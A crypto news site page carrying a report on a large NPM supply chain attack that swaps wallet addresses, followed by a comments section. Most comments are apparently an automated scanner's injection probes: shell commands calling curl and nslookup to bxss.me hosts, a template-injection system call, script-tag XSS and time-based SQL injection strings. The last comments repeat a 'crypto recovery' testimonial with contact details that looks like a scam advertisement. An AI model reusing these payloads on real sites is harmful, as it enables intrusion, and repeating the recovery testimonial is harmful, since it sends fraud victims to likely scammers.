Русский
EnglishCryptocurrencies:
9549 /
Markets: 112919
Market Cap: $ 3 752 086 751 938 /
24h Vol: $ 416 112 816 257 /
BTC
Dominance: 60.08963291637%
News
Largest supply chain attack in history targets crypto users through compromised JavaScript packages
A new cyberattack is silently targeting crypto from users during transactions amid an incident that security researchers describe as the largest supply chain attack in history.
BleepingComputer reported that hackers compromised NPM package maintainer accounts through phishing emails and injected malware that steals crypto.
The attack targeted JavaScript developers with fraudulent emails appearing to originate from “[email protected],” an impersonated domain mimicking the legitimate NPM registry.
The phishing messages warned maintainers that their accounts would be locked on Sept. 10, unless they updated their two-factor authentication credentials through a malicious link.
Attackers successfully compromised 18 widely-used JavaScript packages with collective weekly downloads exceeding 2.6 billion.
The compromised libraries include fundamental development tools such as “chalk” (300 million weekly downloads), “debug” (358 million), and “ansi-styles” (371 million), affecting virtually the entire JavaScript ecosystem.
Targeting crypto
The malicious code operates as a browser-based interceptor, monitoring network traffic for crypto transactions across Ethereum, Bitcoin, Solana, Tron, Litecoin, and Bitcoin Cash networks.
When users initiate crypto transfers, the malware silently replaces destination wallet addresses with attacker-controlled accounts before transaction signing.
Aikido Security researcher Charlie Eriksen explained:
“What makes it dangerous is that it operates at multiple layers: altering content shown on websites, tampering with API calls, and manipulating what users’ apps believe they are signing.”
Ledger CTO Charles Guillemet warned crypto users about the ongoing threat, noting the JavaScript ecosystem may be compromised given the massive download figures.
Hardware wallet users retain protection if they verify transaction details before signing, while software wallet users face a higher risk. Guillemet advised:
“If you don’t use a hardware wallet, refrain from making any on-chain transactions for now.”
He also noted uncertainty about whether attackers can directly extract seed phrases from software wallets.
Sophisticated targeting
The attack represents a sophisticated supply chain targeting where criminals compromise trusted development infrastructure to reach end users.
By infiltrating packages downloaded billions of times weekly, attackers gained unprecedented access to cryptocurrency applications and wallet interfaces.
BleepingComputer identified the phishing infrastructure exfiltrating credentials to “websocket-api2.publicvm.com,” demonstrating the coordinated nature of the operation.
This incident follows similar JavaScript library compromises throughout 2025, including the July attack on “eslint-config-prettier,” which had 30 million weekly downloads, and March compromises affecting ten popular NPM libraries.
The post Largest supply chain attack in history targets crypto users through compromised JavaScript packages appeared first on CryptoSlate.
-
09.10.25 08:08
pHqghUme
can I ask you a question please?&echo nrqmto$()\ aadrei\nz^xyu||a #' &echo nrqmto$()\ aadrei\nz^xyu||a #|" &echo nrqmto$()\ aadrei\nz^xyu||a #
-
09.10.25 08:08
pHqghUme
|echo oljujl$()\ pbqbzp\nz^xyu||a #' |echo oljujl$()\ pbqbzp\nz^xyu||a #|" |echo oljujl$()\ pbqbzp\nz^xyu||a #
-
09.10.25 08:08
pHqghUme
can I ask you a question please?|echo qswrbu$()\ ovnycc\nz^xyu||a #' |echo qswrbu$()\ ovnycc\nz^xyu||a #|" |echo qswrbu$()\ ovnycc\nz^xyu||a #
-
09.10.25 08:08
pHqghUme
expr 9000227416 - 917575
-
09.10.25 08:08
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:08
pHqghUme
(nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))
-
09.10.25 08:08
pHqghUme
$(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)
-
09.10.25 08:08
pHqghUme
&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'
-
09.10.25 08:08
pHqghUme
&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'
-
09.10.25 08:08
pHqghUme
|(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)
-
09.10.25 08:08
pHqghUme
`(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`
-
09.10.25 08:08
pHqghUme
;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)
-
09.10.25 08:08
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:08
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)
-
09.10.25 08:09
pHqghUme
&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
To join the Chat, you need a free pro-blockchain.com account.
Enter
Registration